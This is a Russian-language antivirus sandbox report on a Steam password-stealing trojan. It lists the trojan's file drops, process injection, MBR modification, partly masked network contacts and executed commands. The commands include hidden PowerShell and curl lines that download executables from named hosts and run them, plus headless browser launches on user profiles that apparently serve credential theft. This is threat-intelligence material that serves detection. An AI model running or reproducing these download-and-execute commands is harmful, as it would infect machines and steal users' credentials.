Trojan.PWS.Steam.39927

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует главную загрузочную запись (MBR).

Вредоносные функции

Внедряет код в

следующие системные процессы:

<SYSTEM32>\dllhost.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\bk504446.exe
%TEMP%\bk649541.exe
%ALLUSERSPROFILE%\vstos
%ALLUSERSPROFILE%\bungee.boo
%TEMP%\cld.db
%TEMP%\cccwf.tmp

Удаляет файлы, которые сам же создал

%TEMP%\cld.db
%TEMP%\cccwf.tmp

Перемещает следующие файлы

%ALLUSERSPROFILE%\bungee.boo в %WINDIR%\omadmapi.dll

Изменяет следующие файлы

Сетевая активность

Подключается к

'vc###ibrary.uk':443
'x1.#.lencr.org':80
'dn#.google':443
'19#.#58.198.23':80
'18#.#1.234.105':80
'st####ommunity.com':443
'da##side.cy':80
'da##side.cy':443
'e8.#.lencr.org':80
'google.com':80
'localhost':49714
'localhost':49720
'localhost':49724
'localhost':49728
'localhost':49735

TCP

Запросы HTTP GET

http://x1.#.lencr.org/
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?86##############
http://st####ommunity.com/profiles/76561198764661885/ajaxaliases/
http://da##side.cy/Stb/PokerFace/init.php?id###############
http://e8.#.lencr.org/84.crl

Другие

'vc###ibrary.uk':443
'dn#.google':443
'st####ommunity.com':443
'da##side.cy':443
'localhost':49714
'localhost':49715
'localhost':49720
'localhost':49721
'localhost':49724
'localhost':49725
'localhost':49728
'localhost':49729
'localhost':49735
'localhost':49736

UDP

DNS ASK vc###ibrary.uk
DNS ASK x1.#.lencr.org
DNS ASK dn#.google
DNS ASK st####ommunity.com
DNS ASK da##side.cy
DNS ASK e8.#.lencr.org
DNS ASK google.com

Другое

Ищет следующие окна

ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Google\Chrome\User Data'

Создает и запускает на исполнение

'%TEMP%\bk504446.exe'
'%TEMP%\bk649541.exe'

Перезапускает анализируемый образец

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK649541.exe; Start-Proc...
'<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK649541.exe; Start-Process -FilePath $env:TEM...
'<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK504446.exe; Start-Proc...
'<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK504446.exe; Start-Process -FilePath $env:TEM...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK649541.exe; Start-Process -FilePath $env:TEMP\BK649541.exe...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK504446.exe; Start-Process -FilePath $env:TEMP\BK504446.exe...
'<SYSTEM32>\dllhost.exe'
'<SYSTEM32>\cmd.exe' cmd.exe /c "move "%ALLUSERSPROFILE%\bungee.boo" "%WINDIR%\omadmapi.dll""
'<SYSTEM32>\cmd.exe' /c "move "%ALLUSERSPROFILE%\bungee.boo" "%WINDIR%\omadmapi.dll""
'%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --headless --disable-gpu --no-sandbox --disable-dev-shm-usage --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\User Data" --remote-debugging-port=0 (со скрытым окном)
'<SYSTEM32>\cmd.exe' dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin2240
'<SYSTEM32>\cmd.exe' curl -o "%TEMP%\ee608a18-0cc9-476d-8221-f20a8ff8d673.tmp" "https://files.catbox.moe/lvh9j3.bin"
'<SYSTEM32>\curl.exe' -o "%TEMP%\ee608a18-0cc9-476d-8221-f20a8ff8d673.tmp" "https://files.catbox.moe/lvh9j3.bin"
'<SYSTEM32>\cmd.exe' dir /a /s /b C:\*imgui_impl_win32.cpp C:\*.suo C:\*.exe C:\*.vcxproj C:\*.csproj > %ALLUSERSPROFILE%\CDat.bin2240
'%TEMP%\bk504446.exe' (со скрытым окном)
'%TEMP%\bk649541.exe' (со скрытым окном)
'%LOCALAPPDATA%\google\chrome\application\chrome.exe' --headless --disable-gpu --no-sandbox --disable-dev-shm-usage --user-data-dir="%LOCALAPPDATA%\Google\Chrome\User Data" --remote-debugging-port=0 (со скрытым окном)